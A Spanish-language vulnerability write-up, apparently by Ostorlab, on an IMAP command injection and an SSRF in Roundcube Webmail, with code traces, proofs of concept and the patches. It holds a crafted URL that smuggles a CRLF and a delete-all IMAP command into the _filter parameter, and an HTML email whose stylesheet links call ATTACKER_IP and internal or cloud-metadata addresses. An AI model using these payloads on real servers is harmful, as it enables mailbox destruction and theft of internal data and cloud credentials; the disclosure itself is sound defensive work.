Fallos de inyección de comandos IMAP y SSRF en Roundcube
Un análisis en profundidad de dos vulnerabilidades críticas descubiertas en Roundcube Webmail (< 1.6.14, 1.5.14, 1.7 RC4) durante una revisión del código fuente. OVE-2026-8 permite a atacantes autenticados inyectar comandos IMAP arbitrarios mediante el parámetro _filter debido a la falta de saneamiento de CRLF. OVE-2026-9 permite la falsificación de solicitudes del lado del servidor (SSRF) al explotar el mecanismo de proxy de CSS, lo que da acceso a recursos de la red interna y a metadatos de la nube.
OVE-2026-8 & OVE-2026-9
Roundcube Webmail : inyección de comandos IMAP y SSRF mediante el proxy de CSS
24 de marzo de 2026 · CVSS 8.1 Alta · CVSS 6.8 Media · Roundcube < 1.6.14, 1.5.14, 17 RC5
| ID de CVE | CVSS | Afectadas | Corregidas |
|---|---|---|---|
| OVE-2026-8 | 8.1 Alta | < 1.6.14, 1.5.14, 17 RC5 | 1.6.14, 1.5.14, 17 RC5 |
| OVE-2026-9 | 6.8 Media | < 1.6.14, 1.5.14, 17 RC5 | 1.6.14, 1.5.14, 17 RC5 |
Actualización : Ostorlab hizo un seguimiento inicial de las vulnerabilidades con los identificadores internos OVE-2026-8 y OVE-2026-9, y más tarde se publicaron en la base de datos de CVE el 3 de abril como CVE-2026-35538 (inyección de comandos IMAP) y CVE-2026-35540 (SSRF mediante el proxy de CSS).
La historia
Empezó como la mayoría de las auditorías: con un git clone . En Ostorlab, yo estaba investigando una vulnerabilidad conocida de XSS almacenado en Roundcube que involucraba etiquetas SVG <animate>: analizaba el CVE, rastreaba la lógica del sanitizador y construía un exploit funcional. Ese trabajo me llevó a profundizar en el código. Lo que empezó como una investigación dirigida de un CVE se convirtió en una revisión más amplia del código fuente, una semana antes del lanzamiento de Roundcube 1.5.14 / 1.6.14 / 1.7 RC5.
Ya no buscaba nada en concreto. Leía código, rastreaba flujos de datos y seguía la entrada del usuario desde los parámetros HTTP hasta donde terminaba. Dos rutas me llamaron la atención: una que llevaba de un parámetro de filtro de búsqueda directamente a un socket IMAP sin procesar, y otra que convertía la canalización de renderizado de CSS de Roundcube en un proxy abierto para solicitudes a la red interna.
Ambos hallazgos se enviaron al equipo de seguridad de Roundcube a través de HackerOne. Ambos regresaron como duplicados. La nueva versión que apareció aproximadamente una semana después corrigió ambos problemas. Este artículo documenta ambos hallazgos tal como los encontré: el código vulnerable, la cadena de explotación y la corrección.
Inyección de comandos IMAP

Falsificación de solicitudes del lado del servidor mediante el proxy de CSS

OVE-2026-8 : inyección de comandos IMAP mediante el parámetro _filter
El sink
Cuando un usuario de Roundcube busca en su buzón, la aplicación ensambla un comando IMAP SEARCH a partir de varios parámetros de la URL. Uno de ellos es _filter, una palabra clave predefinida como UNSEEN o FLAGGED que acota el alcance de la búsqueda. El valor se lee de la solicitud GET y acaba concatenándose en una cadena de comando IMAP sin procesar que se escribe directamente en el socket TCP del servidor IMAP.
La pregunta era sencilla: ¿qué ocurre si _filter contiene algo distinto de una palabra clave de búsqueda?
Rastreo del flujo de datos
Empecé por el punto de entrada en program/actions/mail/search.php, línea 45:
$filter = trim(rcube_utils::get_input_string('_filter', rcube_utils::INPUT_GET));
La función get_input_string() llama a strip_tags() sobre la entrada, lo que elimina las etiquetas HTML, seguida de trim(). Ninguna de estas funciones toca los caracteres \r\n. Una secuencia CRLF incrustada en el valor del parámetro atraviesa ambas funciones completamente intacta.
El valor $filter fluye a través de search_input() en la línea 58, que lo usa tal cual cuando es una cadena no vacía y distinta de ALL. De ahí llega a rcube_imap_generic::search() en program/lib/Roundcube/rcube_imap_generic.php, donde se añade a los parámetros del comando IMAP:
// rcube_imap_generic.php, line 2010-2019
$criteria = trim($search_str);
$params = '';
if (!empty($criteria)) {
$params .= ($params ? ' ' : '') . $criteria; // raw concatenation, no escaping
} else {
$params .= 'ALL';
}
La cadena $criteria, que sigue conteniendo cualquier CRLF incrustado, se concatena directamente en $params. Esta se pasa a execute(), que llama a r_implode(). Para los argumentos de tipo cadena, r_implode() devuelve el valor tal cual:
// rcube_imap_generic.php, line 4099-4102
function r_implode($element) {
if (!is_array($element)) {
return $element; // verbatim return — no escaping
}
// ...
}
Por último, putLineC() escribe el comando ensamblado en el socket IMAP. Solo divide según el patrón de cadena literal {N}\r\n, no según secuencias CRLF sueltas. Así, toda la carga útil, con el comando legítimo y el comando inyectado, se escribe en el socket como un único bloque:
// rcube_imap_generic.php, line 147
$parts = preg_split("/(\{[0-9]+\}\r\n)/m", $string, -1, PREG_SPLIT_DELIM_CAPTURE);
// Bare \r\n does NOT cause a split — the whole string goes in one fwrite()
El servidor IMAP, al ser un protocolo delimitado por líneas, lee el \r\n como un terminador de comando y analiza lo que sigue como un comando completamente distinto, controlado por el atacante.
La ironía: escape() existe, pero nunca se llama
La base de código ya contiene una función que neutralizaría este ataque. rcube_imap_generic::escape() en la línea 4293 detecta los caracteres CRLF y convierte la cadena en un literal IMAP ({N}\r\n<value>), que el servidor trata como datos y no como un límite de comando:
function escape($string) {
if (!preg_match('/[\r\n\x00\x80-\xFF]/', $string)) {
return '"' . addcslashes($string, '\\"') . '"';
}
// CRLF detected → safe literal-string encoding
return sprintf("{%d}\r\n%s", strlen($string), $string);
}
Pero search.php nunca llama a escape() sobre $filter. Se llama sobre $search(línea 65), la consulta de texto libre del usuario, pero el parámetro de filtro sigue un camino de código totalmente distinto y llega al socket sin procesar.
Cómo es el ataque
A single crafted URL is all it takes:
GET /?_task=mail&_action=search&_filter=UNSEEN%0d%0aA099+STORE+1:*+%2BFLAGS+(\Deleted)
%0d%0a se decodifica como \r\n. Después de que Roundcube lo procese, el servidor IMAP recibe:
A001 UID SEARCH UNSEEN ← legitimate search
A099 STORE 1:* +FLAGS (\Deleted) ← injected command: flag all messages as deleted
Dos comandos IMAP distintos a partir de un único parámetro HTTP. El comando inyectado se ejecuta con todos los privilegios de la sesión IMAP del usuario autenticado.
Prueba de concepto
El siguiente vídeo muestra la cadena de explotación completa, desde la elaboración de la URL maliciosa hasta la observación de la ejecución del comando IMAP inyectado en el servidor.
Vídeo de la prueba de concepto de la inyección de comandos IMAP
Severidad
Cualquier usuario autenticado de Roundcube puede inyectar comandos IMAP arbitrarios a través de un único parámetro GET. La superficie de ataque incluye:
- Manipulación del buzón: marcar todos los mensajes como eliminados, mover mensajes entre carpetas
- Exfiltración de datos: comandos FETCH para recuperar el contenido de los mensajes
- Abuso de ACL: SETACL para conceder a la cuenta de un atacante acceso de lectura a las carpetas del buzón de la víctima
- Denegación de servicio: EXPUNGE para eliminar mensajes de forma permanente, SUBSCRIBE/UNSUBSCRIBE para alterar la visibilidad de las carpetas
La corrección
El parche elimina los caracteres CRLF de la cadena de búsqueda antes de que llegue al socket IMAP, sustituyéndolos por espacios:
// program/actions/mail/search.php
// We pass the filter as-is into IMAP SEARCH command. A newline could be used
// to inject extra commands, so we remove these.
$search_str = preg_replace('/[\r\n]+/', ' ', $search_str);
El mismo saneamiento se aplicó también a $message_id en send.php para cerrar una ruta de inyección similar a través del tratamiento de los mensajes en borrador:
// program/actions/mail/send.php
$message_id = preg_replace('/[\r\n]+/', '', $message_id);
Cualquier CRLF incrustado, la clave para inyectar un segundo comando IMAP, se neutraliza antes de que llegue al socket.
OVE-2026-9 : falsificación de solicitudes del lado del servidor mediante el proxy de CSS
El sink
El segundo hallazgo procedía de una parte completamente distinta de la base de código. Cuando Roundcube renderiza un correo HTML, reescribe las etiquetas <link> de CSS externo para que apunten a un endpoint de proxy interno (modcss.php). Es una decisión de diseño: impide que el navegador de la víctima obtenga directamente URL controladas por el atacante, lo que podría usarse para el rastreo. Pero crea un problema nuevo: ahora es el servidor de Roundcube quien realiza la solicitud.
Rastreo del flujo de datos
Cuando el sanitizador de HTML de Roundcube (rcube_washtml) encuentra una etiqueta <link rel="stylesheet"> en un correo, la función washtml_link_callback() de program/actions/mail/index.php (línea 1285) almacena la URL en la sesión de PHP:
// index.php:1283-1292
if ($tag == 'link' && preg_match('/^https?:\/\//i', $attrib['href'])) {
$tempurl = 'tmp-' . md5($attrib['href']) . '.css';
$_SESSION['modcssurls'][$tempurl] = $attrib['href']; // stored as-is, no host validation
$attrib['href'] = $rcmail->url([
'task' => 'utils',
'action' => 'modcss',
'u' => $tempurl,
]);
}
La URL se almacena tal cual: la única comprobación es que empiece por http:// o https://. No hay lista de hosts permitidos, ni lista de bloqueo de IP, ni restricción para direcciones privadas o de loopback.
Cuando la víctima abre el correo y hace clic en «Mostrar contenido remoto», el navegador solicita la URL reescrita, que llega a modcss.php. El manejador recupera la URL original de la sesión y realiza una solicitud HTTP GET del lado del servidor mediante GuzzleHttp:
// modcss.php:40-52
$realurl = $_SESSION['modcssurls'][$url];
if (!preg_match('~^https?://~i', $realurl)) {
$rcmail->output->sendExitError(403, 'Invalid URL'); // only scheme check
}
$client = rcube::get_instance()->get_http_client();
$response = $client->get($realurl); // server fetches arbitrary URL
Entre el almacenamiento en la sesión y la solicitud HTTP no hay resolución de nombres de host, ni validación de IP, ni comprobación frente a los rangos de redes privadas. El servidor de Roundcube obtendrá sin problema http://169.254.169.254/latest/meta-data/, http://127.0.0.1:3306/, así como cualquier otra URL interna.
Cómo es el ataque
El atacante entrega un correo HTML con etiquetas <link> incrustadas:
<html>
<head>
<link rel="stylesheet" href="http://ATTACKER_IP:4000/callback.css">
<link rel="stylesheet" href="http://internal-api:8080/api/secrets">
</head>
<body>Please review the attached quarterly report.</body>
</html>
Cuando la víctima ve el correo y permite el contenido remoto: 1. Roundcube almacena ambas URL en $_SESSION['modcssurls'] 2. El navegador solicita /?_task=utils&_action=modcss&_u=tmp-{md5} para cada una 3. modcss.php obtiene, del lado del servidor, el listener del atacante y el endpoint de la API interna 4. El listener del atacante registra una petición procedente de la IP del servidor de Roundcube (no del navegador de la víctima) 5. Si la API interna devuelve text/css o text/plain, el cuerpo de la respuesta se reenvía mediante proxy al navegador
Confirmación mediante pruebas
Probé esto contra Roundcube 1.6.13 en un entorno Docker con un contenedor internal-api accesible únicamente desde dentro de la red de Docker. Los resultados:
-
Confirmación de la devolución de llamada: el listener HTTP del atacante recibió una petición procedente de la IP del contenedor de Roundcube , con User-Agent: GuzzleHttp/7. La petición se originó en el servidor, no en el navegador de la víctima.
-
Exfiltración de un servicio interno: el endpoint de la API interna, inaccesible desde el navegador de la víctima, devolvió su respuesta a través del proxy de modcss. El cuerpo de la respuesta era visible en la pestaña Network de las DevTools del navegador.
-
Metadatos de la nube: en una instancia de GCP,
http://169.254.169.254/devolvió una respuesta conContent-Type: application/text. Dado quemodcss.phpsolo reenvía por proxy los tipos de contenidotext/cssytext/plain, el cuerpo de la respuesta quedó bloqueado. Sin embargo, el SSRF se ejecutó igualmente, como confirman el user-agentGuzzleHttp/7en los registros de acceso de Apache y el tiempo de respuesta casi instantáneo (que demuestra que el servidor llegó al endpoint de metadatos). En AWS con IMDSv1, el endpoint de metadatos devuelvetext/plain, que se reenviaría mediante proxy al navegador.
Prueba de concepto
El siguiente vídeo muestra el SSRF en acción: se envía un correo elaborado con URL internas incrustadas en etiquetas <link> de CSS y se observan las solicitudes del lado del servidor.
Vídeo de la prueba de concepto del SSRF mediante el proxy de CSS
Severidad
Cualquier atacante que pueda entregar un correo a un buzón de Roundcube puede provocar este SSRF con una única interacción del usuario. El impacto incluye:
- Reconocimiento de la red interna: sondear servicios enlazados a loopback o a hosts internos de la VPC
- Robo de credenciales de la nube: AWS IMDSv1 devuelve credenciales de IAM como text/plain, completamente reenviadas mediante proxy
- Exfiltración de datos: cualquier servicio interno que devuelva text/css o text/plain tiene su respuesta reenviada mediante proxy al navegador
La corrección
La corrección introdujo una nueva función rcube_utils::is_local_url() que usa la biblioteca mlocati/ip-lib y comprueba las URL frente a rangos privados, de loopback y de enlace local:
// program/lib/Roundcube/rcube_utils.php — new is_local_url() method
// Blocked ranges:
// IPv4: 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16
// IPv6: ::1/128, fc00::/7
// Hostnames: localhost, localhost.localdomain
Esta comprobación se aplica en dos puntos. En primer lugar, cuando la etiqueta <link> se almacena en la sesión, las URL locales ahora se rechazan antes de llegar siquiera al proxy:
// program/actions/mail/index.php
if ($tag == 'link' && preg_match('/^https?:\/\//i', $attrib['href'])
&& !rcube_utils::is_local_url($attrib['href'])) {
En segundo lugar, el cliente HTTP de modcss.php ahora desactiva las redirecciones, lo que impide que los atacantes eludan la validación de la URL mediante cadenas de redirecciones:
// program/actions/utils/modcss.php
$client = rcube::get_instance()->get_http_client(['allow_redirects' => false]);
Referencias
| Recurso | Enlace |
|---|---|
| Cambios del parche entre Roundcube 1.6.13 y 1.6.14 | https://github.com/roundcube/roundcubemail/compare/1.6.13...1.6.14 |